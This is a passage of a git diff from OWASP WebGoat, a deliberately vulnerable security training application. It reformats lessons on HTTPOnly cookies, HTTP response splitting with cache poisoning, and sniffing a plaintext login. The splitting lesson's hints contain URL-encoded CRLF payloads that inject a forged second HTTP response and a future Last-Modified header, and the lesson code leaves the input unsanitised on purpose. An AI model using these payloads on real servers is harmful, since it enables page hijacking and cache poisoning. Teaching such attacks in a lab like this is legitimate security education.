+ } + + private void removeHttpOnly(WebSession s) + { + String value = createCustomCookieValue(); + HttpServletResponse response = s.getResponse(); + String cookie = s.getCookie(UNIQUE2U); + + if (cookie == null || cookie.equals("HACKED")) + { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); + original = value; + } + else + { + response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); + original = cookie; + } + } + + private ElementContainer makeContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + Element r = null; + Table t = null; + TR tr = null; + Form f = null; + + ec.addElement(new StringElement(getJavaScript())); + + f = new Form(); + + t = new Table(); + t.setWidth(500); + + tr = new TR(); + + tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s)))); + t.addElement(tr); + + tr = new TR(); + t.addElement(tr); + + tr = new TR(); + + tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?"))); + + tr.addElement(new TD(new StringElement("Yes"))); + + if (httpOnly == true) + { + r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true"); + } + else + { + r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()"); + } + + tr.addElement(new TD(r)); + + tr.addElement(new TD(new StringElement("No"))); + + if (httpOnly == false) + { + r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); + } + else + { + r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); + } + + tr.addElement(new TD(r)); + + r = new Input(Input.HIDDEN, READ_RESULT, ""); + tr.addElement(r); + + t.addElement(tr); + + /* + * tr.addElement(new TD(new StringElement("Status: " ))); t.addElement(tr); + * if(httpOnly == true) { tr.addElement(new TD(new StringElement("
On
"))); } else { tr.addElement(new TD(new StringElement ("
Off
"))); } t.addElement(tr); t.addElement(new TR(new TD(new + * StringElement("
")))); + */f.addElement(t); + + t = new Table(); + tr = new TR(); + + r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();"); + tr.addElement(new TD(r)); + + r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();"); + tr.addElement(new TD(r)); + t.addElement(tr); + + f.addElement(t); + ec.addElement(f); + + return ec; + } + + private void handleReadAction(WebSession s) + { + + String displayed = s.getRequest().getParameter(READ_RESULT); + + if (httpOnly == true) + { + if (displayed.indexOf(UNIQUE2U) != -1) + { + s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U + + "' cookie. It allowed direct client side read access to this cookie."); + } + else + { + s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U + + "' cookie by preventing direct client side read access to this cookie."); + if (writeSuccess) + { + if (!this.isCompleted(s)) + { + makeSuccess(s); + readSuccess = false; + writeSuccess = false; + } + } + else + { + if (!this.isCompleted(s)) + { + s.setMessage("Now try to see if your browser protects write access to this cookie."); + readSuccess = true; + } + } + } + } + else if (displayed.indexOf(UNIQUE2U) != -1) + { + s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + + "' cookie was displayed in the alert dialog."); + } + else + { + s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U + + "' cookie should have been displayed in the alert dialog, but was not for some reason. " + + "(This shouldn't happen)"); + } + } + + private void handleWriteAction(WebSession s) + { + String hacked = s.getCookie(UNIQUE2U); + + if (httpOnly == true) + { + if (!original.equals(hacked)) + { + s + .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" + + UNIQUE2U + "' cookie."); + s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked + + " on the client side."); + } + else + { + s + .setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" + + UNIQUE2U + "' cookie by preventing client side modification."); + if (readSuccess) + { + if (!this.isCompleted(s)) + { + makeSuccess(s); + readSuccess = false; + writeSuccess = false; + } + } + else + { + if (!this.isCompleted(s)) + { + s.setMessage("Now try to see if your browser protects read access to this cookie."); + writeSuccess = true; + } + } + } + } + else if (!original.equals(hacked)) + { + s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U + + "' cookie to be modified on the client side."); + } + else + { + s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U + + "' cookie to be modified on the client side, but it was not for some reason. " + + "(This shouldn't happen)"); + } + } + + private String getJavaScript() + { + StringBuffer buffer = new StringBuffer(); + + buffer.append("\n"); + + return buffer.toString(); + } + + private String getBrowserType(WebSession s) + { + int offset = -1; + String result = "unknown"; + String browser = s.getHeader("user-agent").toLowerCase(); + + if (browser != null) + { + if (browser.indexOf("firefox") != -1) + { + browser = browser.substring(browser.indexOf("firefox")); + + offset = getOffset(browser); + + result = browser.substring(0, offset); + } + else if (browser.indexOf("msie 6") != -1) + { + result = "Internet Explorer 6"; + } + else if (browser.indexOf("msie 7") != -1) + { + result = "Internet Explorer 7"; + } + else if (browser.indexOf("msie") != -1) + { + result = "Internet Explorer"; + } + else if (browser.indexOf("opera") != -1) + { + result = "Opera"; + } + else if (browser.indexOf("safari") != -1) + { + result = "Safari"; + } + else if (browser.indexOf("netscape") != -1) + { + browser = browser.substring(browser.indexOf("netscape")); + + offset = getOffset(browser); + + result = browser.substring(0, offset); + } + else if (browser.indexOf("konqueror") != -1) + { + result = "Konqueror"; + } + else if (browser.indexOf("mozilla") != -1) + { + result = "Mozilla"; + } + } + + return result; + } + + private int getOffset(String s) + { + int result = s.length(); + + for (int i = 0; i < s.length(); i++) + { + if (s.charAt(i) < 33 || s.charAt(i) > 126) + { + result = i; + break; + } + } + + return result; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java b/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java index 0e0233081..72b61572b 100644 --- a/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java +++ b/src/main/java/org/owasp/webgoat/lessons/HttpSplitting.java @@ -46,213 +46,207 @@ import org.owasp.webgoat.session.WebSession; public class HttpSplitting extends SequentialLessonAdapter { - private final static String LANGUAGE = "language"; + private final static String LANGUAGE = "language"; - private final static String REDIRECT = "fromRedirect"; + private final static String REDIRECT = "fromRedirect"; - private static String STAGE = "stage"; + private static String STAGE = "stage"; public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); /** - * Description of the Method - * - * @param s - * Current WebSession - */ - public void handleRequest(WebSession s) - { - // Setting a special action to be able to submit to redirect.jsp - Form form = new Form(s.getRequest().getContextPath() + "/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId()) - + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType(""); - - form.addElement(createContent(s)); + * Description of the Method + * + * @param s + * Current WebSession + */ + public void handleRequest(WebSession s) + { + // Setting a special action to be able to submit to redirect.jsp + Form form = new Form(s.getRequest().getContextPath() + "/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId()) + + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType(""); + + form.addElement(createContent(s)); - setContent(form); - } + setContent(form); + } - protected Element doHTTPSplitting(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String lang = null; + protected Element doHTTPSplitting(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String lang = null; - try - { - ec.addElement(createAttackEnvironment(s)); - lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); + try + { + ec.addElement(createAttackEnvironment(s)); + lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - // Check if we are coming from the redirect page - String fromRedirect = s.getParser().getStringParameter("fromRedirect", ""); + // Check if we are coming from the redirect page + String fromRedirect = s.getParser().getStringParameter("fromRedirect", ""); - if (lang.length() != 0 && fromRedirect.length() != 0) - { - - - String[] arrTokens = lang.toString().toUpperCase().split("\r\n"); + if (lang.length() != 0 && fromRedirect.length() != 0) + { + + + String[] arrTokens = lang.toString().toUpperCase().split("\r\n"); - // Check if the user ended the first request and wrote the second malicious reply - if (arrTokens.length > 1) - { - HttpServletResponse res = s.getResponse(); - res.setContentType("text/html"); + // Check if the user ended the first request and wrote the second malicious reply + if (arrTokens.length > 1) + { + HttpServletResponse res = s.getResponse(); + res.setContentType("text/html"); - StringBuffer msg = new StringBuffer(); + StringBuffer msg = new StringBuffer(); - msg.append("Good Job! "); - msg.append("This lesson has detected your successful attack, "); - msg.append("time to elevate your attack to a higher level. "); - msg.append("Try again and add Last-Modified header, intercept"); - msg.append("the reply and replace it with a 304 reply."); + msg.append("Good Job! "); + msg.append("This lesson has detected your successful attack, "); + msg.append("time to elevate your attack to a higher level. "); + msg.append("Try again and add Last-Modified header, intercept"); + msg.append("the reply and replace it with a 304 reply."); - s.setMessage(msg.toString()); - getLessonTracker(s).setStage(2); + s.setMessage(msg.toString()); + getLessonTracker(s).setStage(2); - //makeSuccess(s); + //makeSuccess(s); - } - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return (ec); - } + } + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } - protected Element doStage1(WebSession s) throws Exception - { - return doHTTPSplitting(s); - } + protected Element doStage1(WebSession s) throws Exception + { + return doHTTPSplitting(s); + } - protected Element doStage2(WebSession s) throws Exception - { - return doCachePoisining(s); - } + protected Element doStage2(WebSession s) throws Exception + { + return doCachePoisining(s); + } - protected Element createAttackEnvironment(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); - String lang = null; + protected Element createAttackEnvironment(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); + String lang = null; - if (getLessonTracker(s).getStage() == 1) - { - ec.addElement(new H3("Stage 1: HTTP Splitting:

")); - } - else - { - ec.addElement(new H3("Stage 2: Cache Poisoning:

")); - } - ec.addElement(new StringElement("Search by country : ")); + if (getLessonTracker(s).getStage() == 1) + { + ec.addElement(new H3("Stage 1: HTTP Splitting:

")); + } + else + { + ec.addElement(new H3("Stage 2: Cache Poisoning:

")); + } + ec.addElement(new StringElement("Search by country : ")); - lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); + lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - // add the search by field - Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); - ec.addElement(input); + // add the search by field + Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); + ec.addElement(input); - Element b = ECSFactory.makeButton("Search!"); + Element b = ECSFactory.makeButton("Search!"); - ec.addElement(b); + ec.addElement(b); - return ec; - } + return ec; + } - protected Element doCachePoisining(WebSession s) throws Exception - { - ElementContainer ec = new ElementContainer(); + protected Element doCachePoisining(WebSession s) throws Exception + { + ElementContainer ec = new ElementContainer(); - try - { - s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison" - + " the victim's cache. Type 'restart' in the input field if you wish to " - + " to return to the HTTP Splitting lesson.

"); - if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart")) - { - getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); - return (doHTTPSplitting(s)); - } + try + { + s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison" + + " the victim's cache. Type 'restart' in the input field if you wish to " + + " to return to the HTTP Splitting lesson.

"); + if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart")) + { + getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); + return (doHTTPSplitting(s)); + } - ec.addElement(createAttackEnvironment(s)); - String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); - String fromRedirect = s.getParser().getStringParameter(REDIRECT, ""); + ec.addElement(createAttackEnvironment(s)); + String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); + String fromRedirect = s.getParser().getStringParameter(REDIRECT, ""); - if (lang.length() != 0 && fromRedirect.length() != 0) - { - String lineSep = "\r\n"; - String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang - .indexOf(lineSep, lang.indexOf("Last-Modified:"))); - if (dateStr.length() > 0) - { - Calendar cal = Calendar.getInstance(); + if (lang.length() != 0 && fromRedirect.length() != 0) + { + String lineSep = "\r\n"; + String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang + .indexOf(lineSep, lang.indexOf("Last-Modified:"))); + if (dateStr.length() > 0) + { + Calendar cal = Calendar.getInstance(); - DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US); + DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US); - if (sdf.parse(dateStr.trim()).after(cal.getTime())) - { - makeSuccess(s); - } - } - } - } catch (Exception ex) - { - ec.addElement(new P().addElement(ex.getMessage())); - } - return ec; - } + if (sdf.parse(dateStr.trim()).after(cal.getTime())) + { + makeSuccess(s); + } + } + } + } catch (Exception ex) + { + ec.addElement(new P().addElement(ex.getMessage())); + } + return ec; + } - protected Category getDefaultCategory() - { - return Category.GENERAL; - } + protected Category getDefaultCategory() + { + return Category.GENERAL; + } - protected List getHints(WebSession s) - { + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Enter a language for the system to search by."); + hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux."); + hints.add("The Content-Length: 0 will tell the server that the first request is over."); + hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); + hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E
For insight into what this does, use the PHP charset encoder to decode it."); + hints.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); + hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E"); + hints.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); + hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT"); + return hints; - List hints = new ArrayList(); - hints.add("Enter a language for the system to search by."); - hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux."); - hints.add("The Content-Length: 0 will tell the server that the first request is over."); - hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); - hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E
For insight into what this does, use the PHP charset encoder to decode it."); - hints - .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date."); - hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E"); - hints - .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page"); - hints - .add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM
Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT"); - return hints; + } - } + private final static Integer DEFAULT_RANKING = new Integer(20); - private final static Integer DEFAULT_RANKING = new Integer(20); + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("HTTP Splitting"); + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("HTTP Splitting"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java b/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java index e10ed494c..0b70447b5 100644 --- a/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java +++ b/src/main/java/org/owasp/webgoat/lessons/InsecureLogin.java @@ -26,471 +26,471 @@ import org.owasp.webgoat.session.WebSession; public class InsecureLogin extends SequentialLessonAdapter { - private final static String USER = "clear_user"; - private final static String PASSWORD = "clear_pass"; - private final static String ANSWER = "clear_answer"; - private final static String YESNO = "yesno"; - private final static String PROTOCOL = "protocol"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - @Override - protected Element doStage1(WebSession s) throws Exception - { - String answer = s.getParser().getStringParameter(ANSWER, ""); - if (answer.equals("sniffy")) - { - s.setMessage("You completed Stage 1!"); - getLessonTracker(s).setStage(2); - } - return createMainContent(s); - } - - @Override - protected Element doStage2(WebSession s) throws Exception - { - String protocol = s.getParser().getStringParameter(PROTOCOL, ""); - String yesno = s.getParser().getStringParameter(YESNO, ""); - - if (yesno.equals("No") && protocol.equals("TLS")) - { - makeSuccess(s); - } - - return createMainContent(s); - } - - /** - * Creation of the main content - * - * @param s - * @return Element - */ - protected Element createMainContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - String user = s.getParser().getStringParameter(USER, ""); - String password = s.getParser().getStringParameter(PASSWORD, ""); - if (!(user + password).equals("") && correctLogin(user, password, s)) - { - workspaceDiv.addElement(createSuccessfulLoginContent(s, user)); - } - else - { - workspaceDiv.addElement(createLogInContent()); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Create content for logging in - * - * @param ec - */ - private Element createLogInContent() - { - ElementContainer ec = new ElementContainer(); - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER).setValue("Jack").setReadOnly(true)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD).setValue("sniffy").setReadOnly(true)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - return ec; - - } - - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - - return Category.INSECURE_COMMUNICATION; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("Stage 1: Use a sniffer to record " + "the traffic"); - hints.add("Stage 1: What Protocol does the request use?"); - hints.add("Stage 1: What kind of request is started when " + "you click on the button?"); - hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer"); - hints.add("Stage 1: The password field has the name clear_pass"); - - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(100); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Insecure Login"); - } - - @Override - public String getInstructions(WebSession s) - { - int stage = getLessonTracker(s).getStage(); - String instructions = ""; - instructions = "For this lesson you need to " + "have a server client setup. Please refer to the" - + "Tomcat Configuration in the Introduction section.

Stage" + stage + ": "; - if (stage == 1) - { - instructions += "In this stage you have to sniff the " - + "password. And answer the question after the login."; - } - if (stage == 2) - { - instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// " - + "If your browser is complaining about the certificate just " - + "ignore it. Sniff again the traffic and answer the" + " questions"; - } - return instructions; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - /** - * Create content after a successful login - * - * @param s - * @param ec - */ - private Element createSuccessfulLoginContent(WebSession s, String user) - { - ElementContainer ec = new ElementContainer(); - - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(user)); - - try - { - ResultSet results = getUser(user, s); - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - - int stage = getLessonTracker(s).getStage(); - if (stage == 1) - { - ec.addElement(createPlaintextQuestionContent()); - } - else if (stage == 2) - { - ec.addElement(createSSLQuestionContent()); - } - - return ec; - } - - private Element createPlaintextQuestionContent() - { - ElementContainer ec = new ElementContainer(); - Div div = new Div(); - div.addAttribute("align", "center"); - div.addElement(new BR()); - div.addElement(new BR()); - div.addElement("What was the password?"); - div.addElement(new Input(Input.TEXT, ANSWER)); - div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - ec.addElement(div); - return ec; - } - - private Element createSSLQuestionContent() - { - ElementContainer ec = new ElementContainer(); - Table selectTable = new Table(); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - tr1.addElement(td1); - tr1.addElement(td2); - tr2.addElement(td3); - tr2.addElement(td4); - selectTable.addElement(tr1); - selectTable.addElement(tr2); - - Div div = new Div(); - div.addAttribute("align", "center"); - ec.addElement(new BR()); - ec.addElement(new BR()); - - td1.addElement("Is the password still transmited in plaintext?"); - Select yesNoSelect = new Select(); - yesNoSelect.setName(YESNO); - Option yesOption = new Option(); - yesOption.addElement("Yes"); - Option noOption = new Option(); - noOption.addElement("No"); - yesNoSelect.addElement(yesOption); - yesNoSelect.addElement(noOption); - td2.addElement(yesNoSelect); - - td3.addElement("Which protocol is used for the transmission?"); - Select protocolSelect = new Select(); - protocolSelect.setName(PROTOCOL); - Option httpOption = new Option(); - httpOption.addElement("HTTP"); - Option tcpOption = new Option(); - tcpOption.addElement("UDP"); - Option ipsecOption = new Option(); - ipsecOption.addElement("IPSEC"); - Option msnmsOption = new Option(); - msnmsOption.addElement("MSNMS"); - Option tlsOption = new Option(); - tlsOption.addElement("TLS"); - protocolSelect.addElement(httpOption); - protocolSelect.addElement(ipsecOption); - protocolSelect.addElement(msnmsOption); - protocolSelect.addElement(tcpOption); - protocolSelect.addElement(tlsOption); - td4.addElement(protocolSelect); - - div.addElement(selectTable); - - div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - ec.addElement(div); - return ec; - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } + private final static String USER = "clear_user"; + private final static String PASSWORD = "clear_pass"; + private final static String ANSWER = "clear_answer"; + private final static String YESNO = "yesno"; + private final static String PROTOCOL = "protocol"; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + @Override + protected Element doStage1(WebSession s) throws Exception + { + String answer = s.getParser().getStringParameter(ANSWER, ""); + if (answer.equals("sniffy")) + { + s.setMessage("You completed Stage 1!"); + getLessonTracker(s).setStage(2); + } + return createMainContent(s); + } + + @Override + protected Element doStage2(WebSession s) throws Exception + { + String protocol = s.getParser().getStringParameter(PROTOCOL, ""); + String yesno = s.getParser().getStringParameter(YESNO, ""); + + if (yesno.equals("No") && protocol.equals("TLS")) + { + makeSuccess(s); + } + + return createMainContent(s); + } + + /** + * Creation of the main content + * + * @param s + * @return Element + */ + protected Element createMainContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + style sty = new style(); + + sty + 